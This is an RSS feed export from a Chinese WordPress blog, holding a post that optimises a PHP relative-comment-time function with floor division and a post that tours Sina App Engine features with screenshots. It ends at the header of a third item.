<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>邪罗刹的菠萝阁 &#187; php</title>
	<atom:link href="http://www.evlos.org/tag/php/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.evlos.org</link>
	<description>A straw shows which way the wind blows ..</description>
	<lastBuildDate>Thu, 09 Sep 2010 13:27:04 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>WP个性化评论时间函数更新与官方函数</title>
		<link>http://www.evlos.org/2010/08/06/php-operators-efficiency-reserach/</link>
		<comments>http://www.evlos.org/2010/08/06/php-operators-efficiency-reserach/#comments</comments>
		<pubDate>Thu, 05 Aug 2010 17:15:39 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[WP插件 [Plugin Work]]]></category>
		<category><![CDATA[efficiency]]></category>
		<category><![CDATA[php]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1989</guid>
		<description><![CDATA[> ╮(￣▽￣)╭，话说上次函数有一点点的小杯具。Qiqiboy 表示，那函数效率灰常低，而且忘记用除法鸟。 > 小邪表示灰常蛋疼，所以进行了大量研究，恩恩，灰常大量，因为 Chrome 标签已经看不到标题鸟。 一. 代码改进： > 先让我们一起研究一下原先的代码，貌似效率特别低，o(╯□╰)o 杯具，当时小邪滴脑袋木有转过弯来。 > 居然没有想到除法取整，愣是用循环达到除法的目的，额滴神，(PД`q。)·。'゜ 冰天雪地掩面泪奔。 1 2 3 4 5 6 7 8 9 10 11 12 13 foreach &#40;$info as $val&#41; &#123; $count = 0; while &#40;$inte - $val&#91;0&#93; &#62; 0&#41; &#123; $inte = $inte - $val&#91;0&#93;; $count++; &#125; if &#40;$count&#60;&#62;0&#41; &#123; $res .= [...]]]></description>
			<content:encoded><![CDATA[<p>> ╮(￣▽￣)╭，话说上次函数有一点点的小杯具。<a target='_blank' rel='nofollow' href='http://www.qiqiboy.com/'>Qiqiboy</a> 表示，那函数效率灰常低，而且忘记用除法鸟。<br />
> 小邪表示灰常蛋疼，所以进行了大量研究，恩恩，灰常大量，因为 Chrome 标签已经看不到标题鸟。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/2010/08/Cap0000755.png' /></p>
<p><span id="more-1989"></span></p>
<p><strong>一. 代码改进：</strong></p>
<p>> 先让我们一起研究一下原先的代码，貌似效率特别低，o(╯□╰)o 杯具，当时小邪滴脑袋木有转过弯来。<br />
> 居然没有想到除法取整，愣是用循环达到除法的目的，额滴神，(PД`q。)·。'゜ 冰天雪地掩面泪奔。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span>
	<span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">&gt;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$inte</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$inte</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$count</span><span style="color: #339933;">++;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$count</span><span style="color: #339933;">&lt;&gt;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$count</span><span style="color: #339933;">.</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span> <span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">//foreach 要执行四次，因为 $info 数组的外层数组有 4 维</span>
<span style="color: #096;">//如果时间差恰好为 1 天，While 要执行最少 24 次，最多 23+59+59 次</span>
<span style="color: #096;">//每次 While 的时候，$count 要自加一次，$inte 要减一次</span>
<span style="color: #096;">//总的来说，时间为一天的话，大概执行了 141*4 次自加和减法</span>
<span style="color: #096;">//如果时间不止一天而是一年的话，就杯具了，超多 - -</span></pre></td></tr></table></div>

<p>> 话说 Qiqiboy 说的以前有更好的代码，小邪好像没有找到，要么是判断超多的，要么也有不少循环。<br />
> Qiqiboy 上次说："而且你用foreach会和数组中每个数值进行比较一遍做判断，这个也可以避免"。<br />
> 唔，关于这个问题，要么除了用超多的判断来代替循环，小邪倒是木有想到其他的可用过程。<br />
> 所以这次依然使用循环来看看，感觉超多的判断开销其实也不小，还不如省一些代码的空间来着。</p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span><span style="color: #339933;">/</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">.</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
		<span style="color: #000088;">$inte</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$inte</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">*</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">//虽然还是有 foreach 函数，不过这个提供了可定制性，具体下面有介绍</span>
<span style="color: #096;">//Foreach 循环四次，每次循环进行一次判断、一次除法取整、一次减法乘法</span>
<span style="color: #096;">//无论时间为多长，只会进行 4 次判断、除法、取整、减法、乘法，感觉应该蛮好的</span></pre></td></tr></table></div>

<p><strong>二. WP个性化评论时间函数 v1.01：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #096;">/* 小邪的个性化评论时间函数 v1.01 Start */</span> 
<span style="color: #000000; font-weight: bold;">function</span> evlos_funtime<span style="color: #009900;">&#40;</span><span style="color: #000088;">$gmto</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
	<span style="color: #000088;">$set</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">7</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">24</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">;</span> <span style="color: #096;">//在这里设定要个性化时间的秒数范围</span>
	<span style="color: #000088;">$gmt</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$gmto</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$inte</span> <span style="color: #339933;">=</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gmdate</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y-m-j G:i:s'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$gmt</span><span style="color: #339933;">;</span>
	<span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">86400</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'天'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3600</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'小时'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'分钟'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'秒'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #096;">//你可以自由定制，可以去除 ,array(1,'秒') 这样就只会精确到分钟</span>
	<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span> <span style="color: #339933;">&lt;=</span> <span style="color: #000088;">$set</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
		<span style="color: #b1b100;">foreach</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$info</span> <span style="color: #b1b100;">as</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
			<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span> <span style="color: #339933;">&gt;=</span> <span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
				<span style="color: #000088;">$tmp</span> <span style="color: #339933;">=</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$inte</span><span style="color: #339933;">/</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$res</span> <span style="color: #339933;">.=</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">.</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
				<span style="color: #000088;">$inte</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$inte</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$tmp</span><span style="color: #339933;">*</span><span style="color: #000088;">$val</span><span style="color: #009900;">&#91;</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
			<span style="color: #009900;">&#125;</span>
		<span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$res</span><span style="color: #339933;">==</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><span style="color: #000088;">$res</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'0s'</span><span style="color: #339933;">;</span><span style="color: #009900;">&#125;</span>
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'在'</span><span style="color: #339933;">.</span><span style="color: #000088;">$res</span><span style="color: #339933;">.</span><span style="color: #0000ff;">'之前'</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
	<span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span> 
		<span style="color: #b1b100;">echo</span> <span style="color: #000088;">$res</span> <span style="color: #339933;">=</span> <span style="color: #990000;">date</span><span style="color: #009900;">&#40;</span>get_settings<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'date_format'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' \a\t '</span><span style="color: #339933;">.</span>get_settings<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'time_format'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$gmt</span><span style="color: #339933;">+</span>get_settings<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;gmt_offset&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">*</span><span style="color: #cc66cc;">3600</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
	<span style="color: #009900;">&#125;</span>
<span style="color: #009900;">&#125;</span>
<span style="color: #096;">/* 小邪的个性化评论时间函数 v1.01 End */</span></pre></td></tr></table></div>

<p><strong>三. 关于这个函数的可定制性：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$info</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">86400</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'天'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">3600</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'小时'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">60</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'分钟'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'秒'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #096;">//你可以自由定制，可以去除 ,array(1,'秒') 这样就只会精确到分钟</span>
<span style="color: #096;">//可以在 array(86400,'天'), 前面增加 array(604800,'周'), 来显示单位周</span>
<span style="color: #096;">//还可以增加 array(2592000,'月'), 来显示单位月</span>
&nbsp;
<span style="color: #096;">//注意，单位一定要从大到小排列，不然会杯具喔 _(￣0￣)_</span></pre></td></tr></table></div>

<p><strong>四. 用官方函数的超短代码：</strong></p>
<p>> Human_time_diff 函数 - <a target='_blank' rel='nofollow' href='http://codex.wordpress.org/Function_Reference/human_time_diff'>http://codex.wordpress.org/Function_Reference/human_time_diff</a></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> human_time_diff<span style="color: #009900;">&#40;</span>get_the_time<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'U'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> current_time<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'timestamp'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'之前'</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
//日志发布时间个性化
<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> human_time_diff<span style="color: #009900;">&#40;</span>get_comment_time<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'U'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> current_time<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'timestamp'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'之前'</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
//评论时间个性化
&nbsp;
//注意咯，这个函数只提供 &quot;x分钟之前&quot; &quot;x小时之前&quot; &quot;x天之前&quot; 的效果，木有 &quot;x分钟x秒之前&quot;</pre></td></tr></table></div>

<p>> 把上面的这些放到需要显示个性化时间的位置即可，具体可查看上一篇文章的方法。<br />
> 地址 - <a target='_blank' rel='nofollow' href='http://www.evlos.org/2010/08/03/comments-date-style/'>http://www.evlos.org/2010/08/03/comments-date-style</a></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/2010/08/Cap0000758.png' /></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> human_time_diff<span style="color: #009900;">&#40;</span><span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$comment</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">comment_date_gmt</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #990000;">strtotime</span><span style="color: #009900;">&#40;</span><span style="color: #990000;">gmdate</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'Y-m-j G:i:s'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'之前'</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>
//你知道的，因为小邪VPS时间杯具事件，所以不得不绕一个大弯，o(╯□╰)o
//时间正常的童鞋请拿上面的代码，而这里的代码能在时间最杯具的时候挺住 (￣y▽￣)╭ Ohoho ..</pre></td></tr></table></div>

<p><strong>五. 奇特的 Floor 取整函数：</strong></p>

<div class="wp_syntax"><table><tr><td class="line_numbers"><pre>1
2
3
4
5
6
</pre></td><td class="code"><pre class="php" style="font-family:monospace;"><span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color:#800080;">9.99</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns 9</span>
<span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color:#800080;">4.55555</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns 4</span>
<span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color:#800080;">1.11111</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns 1</span>
<span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color:#800080;">0.99999999999999999</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns 1</span>
<span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color:#800080;">0.9999999999999999</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns 0</span>
<span style="color: #000088;">$int</span> <span style="color: #339933;">=</span> <span style="color: #339933;">-</span><span style="color:#800080;">2.44</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">echo</span> <span style="color: #990000;">floor</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$int</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #096;">// returns -3</span></pre></td></tr></table></div>

<p><strong>六. 尾记：</strong></p>
<p>> o(*￣▽￣*)ゞ 嘿嘿，小邪 9 号要到韩国去旅行，大概有 5 天左右，打算要去强力围观一下棒子们。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/08/06/php-operators-efficiency-reserach/feed/</wfw:commentRss>
		<slash:comments>61</slash:comments>
		</item>
		<item>
		<title>Sina-App-Engine超多图详细介绍</title>
		<link>http://www.evlos.org/2010/02/07/sina-app-engine-introduction/</link>
		<comments>http://www.evlos.org/2010/02/07/sina-app-engine-introduction/#comments</comments>
		<pubDate>Sun, 07 Feb 2010 15:42:47 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[奇客 [Geek]]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[sae]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1924</guid>
		<description><![CDATA[> 嘿嘿，真开心，小邪昨天 RP 爆发，拿到了 Sina App Engine 的邀请码，然后立马就注册了账号。 > 话说这东东太牛叉了，爽。那么大家就一起和小邪来看 SAE 的界面与其中各种各样的功能吧。 > 嘎嘎，图中，小邪灰常幸运滴抢到了几个让人喜爱的 4 位二级域名，最喜欢 Moon 的那个了。 > 既然有免费强力资源，一定要充分利用，而且小邪可以随便玩且不用担心可爱的菠萝阁超载鸟。 一. SAE 13 张图详细介绍： 01. Fetch Url： > 嘿嘿，如果一定要使用 Curl 或者 File_get_contents 来获取资源的话，根据 SAE 文档说明。 > 仅仅只被允许获取 Sina.com.cn 域名中网站的资源，而获取其他外部资源将会产生错误提示。 02. Mail 发送： > 为了防止新浪变成一个巨大的垃圾邮件商，所以这里是不允许直接使用 SMTP 函数来发的。 > 嗯，这里需要注册一个自己的邮箱，随便 Gmail 163 的都可以，然后用这些邮箱来发邮件。 03. Memcache： > 呵呵，这个是内存缓存服务，可以加速资源的读取，大概每个人现在可以分到 [...]]]></description>
			<content:encoded><![CDATA[<p>> 嘿嘿，真开心，小邪昨天 RP 爆发，拿到了 Sina App Engine 的邀请码，然后立马就注册了账号。<br />
> 话说这东东太牛叉了，爽。那么大家就一起和小邪来看 SAE 的界面与其中各种各样的功能吧。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000081.jpg' /></p>
<p>> 嘎嘎，图中，小邪灰常幸运滴抢到了几个让人喜爱的 4 位二级域名，最喜欢 Moon 的那个了。<br />
> 既然有免费强力资源，一定要充分利用，而且小邪可以随便玩且不用担心可爱的菠萝阁超载鸟。</p>
<p><span id="more-1924"></span><strong>一. SAE 13 张图详细介绍：</strong></p>
<p>01. Fetch Url：</p>
<p>> 嘿嘿，如果一定要使用 Curl 或者 File_get_contents 来获取资源的话，根据 SAE 文档说明。<br />
> 仅仅只被允许获取 Sina.com.cn 域名中网站的资源，而获取其他外部资源将会产生错误提示。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000071.jpg' /></p>
<p>02. Mail 发送：</p>
<p>> 为了防止新浪变成一个巨大的垃圾邮件商，所以这里是不允许直接使用 SMTP 函数来发的。<br />
> 嗯，这里需要注册一个自己的邮箱，随便 Gmail 163 的都可以，然后用这些邮箱来发邮件。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000072.jpg' /></p>
<p>03. Memcache：</p>
<p>> 呵呵，这个是内存缓存服务，可以加速资源的读取，大概每个人现在可以分到 11MB 的空间。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000069.jpg' /></p>
<p>04. 图片修改服务：</p>
<p>> 这个服务也是灰常不错滴，可以水平翻转或者垂直翻转图片，当然咯，等比缩放是必不可少的。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000070.jpg' /></p>
<p>05. 成员管理：</p>
<p>> 呵呵，这里呢，是可以让大家一起来管理源代码，所以只要邀请别人来参与这个列表就可以了。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000065.jpg' /></p>
<p>06. 预定义变量：</p>
<p>> 预定义变量也给咱们弄得灰常清楚，嘻嘻，顺便说一下呐，$sae_ 开头的变量尽量别去用喔。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000066.jpg' /></p>
<p>07. Mysql 数据库：</p>
<p>> 嘿嘿，这里可以随意地指定你的账号的权限，并且还可以使用 Phpmyadmin 来管理数据库。<br />
> 貌似谷歌的 GAE 很难备份数据文件，不知道现在有没有改观，至少 SAE 是做得很不错的。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000067.jpg' /></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000073.jpg' /></p>
<p>08. Cron jobs 定时进程：</p>
<p>> O(∩_∩)O 哈哈，这个是一大亮点，特别爽，到时候小邪就可以弄出很多经典的程序出来。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000085.jpg' /></p>
<p>09. 资源配额：</p>
<p>> 每日的流入带宽是 500MB，流出带宽则是 1GB，小邪（¯﹃¯）口水都流出来鸟，嘻嘻嘻。<br />
> Fetch Url 居然每天都可以用上 5W 次，小邪觉得抓取特别爽，春哥保佑，╮(╯▽╰)╭ 哈。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000062.jpg' /></p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000062_.jpg' /></p>
<p>> 这里提供了灰常详细的图表，可以随时了解配额的情况，另外还提供了请求日志可以查询喔。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000063.jpg' /></p>
<p>10. Wp4sae [Wordpress SAE版]：</p>
<p>> 嘻嘻，大亮，这个是经过修改的 WordPress 程序，可以运行在 SAE 上面喔，O(∩_∩)O。</p>
<p><img src='http://www.evlos.org/ev-box/myimg/uploads/old/Cap0000075.jpg' /></p>
<p>> Google Code 的 Wp4sae 代码页面强力传送门 - <a target='_blank' rel='nofollow' href='http://code.google.com/p/wp4sae'>http://code.google.com/p/wp4sae</a></p>
<p>11. 小邪的 SAE App（建设中）：</p>
<p>> [AppName] 邪罗刹的Wall -- [AppUrl 坚挺的传送门] <a target='_blank' rel='nofollow' href='http://wall.sinaapp.com'>http://wall.sinaapp.com</a><br />
> [AppName] 邪罗刹的Feel -- [AppUrl 色色的传送门] <a target='_blank' rel='nofollow' href='http://feel.sinaapp.com'>http://feel.sinaapp.com</a><br />
> [AppName] 邪罗刹的Moon -- [AppUrl 弱弱的传送门] <a target='_blank' rel='nofollow' href='http://moon.sinaapp.com'>http://moon.sinaapp.com</a><br />
> [AppName] 邪罗刹的Soul -- [AppUrl 低调的传送门] <a target='_blank' rel='nofollow' href='http://soul.sinaapp.com'>http://soul.sinaapp.com</a><br />
> [AppName] 邪罗刹的SAE -- [AppUrl 猥琐的传送门] <a target='_blank' rel='nofollow' href='http://evlos.sinaapp.com'>http://evlos.sinaapp.com</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.evlos.org/2010/02/07/sina-app-engine-introduction/feed/</wfw:commentRss>
		<slash:comments>82</slash:comments>
		</item>
		<item>
		<title>WP文章与页面评论批量转移程序</title>
		<link>http://www.evlos.org/2010/02/05/wp-comments-bulk-transferrer/</link>
		<comments>http://www.evlos.org/2010/02/05/wp-comments-bulk-transferrer/#comments</comments>
		<pubDate>Fri, 05 Feb 2010 14:06:21 +0000</pubDate>
		<dc:creator>小邪</dc:creator>
				<category><![CDATA[小程序 [Lit Work]]]></category>
		<category><![CDATA[comments]]></category>
		<category><![CDATA[php]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://www.evlos.org/?p=1918</guid>
